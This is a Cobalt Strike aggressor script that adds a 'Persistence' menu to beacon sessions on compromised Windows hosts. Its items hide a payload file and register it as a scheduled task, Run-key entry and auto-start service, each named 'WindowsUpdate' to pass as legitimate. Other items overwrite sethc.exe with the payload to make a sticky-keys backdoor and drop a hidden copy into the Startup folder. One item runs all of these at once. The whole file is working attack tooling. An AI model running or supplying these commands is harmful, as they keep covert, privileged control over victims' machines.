PrivilegeHelperEN.cna

popup beacon_bottom {
	menu "Persistence" {

		item "setFilePath" {
			local('$bid');
			foreach $bid ($1){
				prompt_text("filePath", $filePath, {
					$filePath = $1;
					return $filePath;
				});
			}
		}


		item "hiddenFile" {
			local('$bid');
			foreach $bid ($1){
				bshell($1, "attrib \"$filePath\" +s +h");
			}
		}


		item "schtasks" {
			local('$bid');
			foreach $bid ($1){
				bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
			}
		}

		item "regedit"{
			local('$bid');
			foreach $bid ($1){
				bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
			}
		}

		item "SC Service"{
			local('$bid');
			foreach $bid ($1){
				bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");

			}
		}

		item "shift backdoor"{
			local('$bid');
			foreach $bid ($1){
				bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
			}
		}

		item "StartupPath"{
			local('$bid');
			foreach $bid ($1){
				bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
				bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
			}
		}

		item "JustGo" {
			local('$bid');
			foreach $bid ($1){
				bshell($1, "attrib \"$filePath\" +s +h");
				bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
				bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
				bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
				bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
				bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
				bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");

			}

		}


	}
}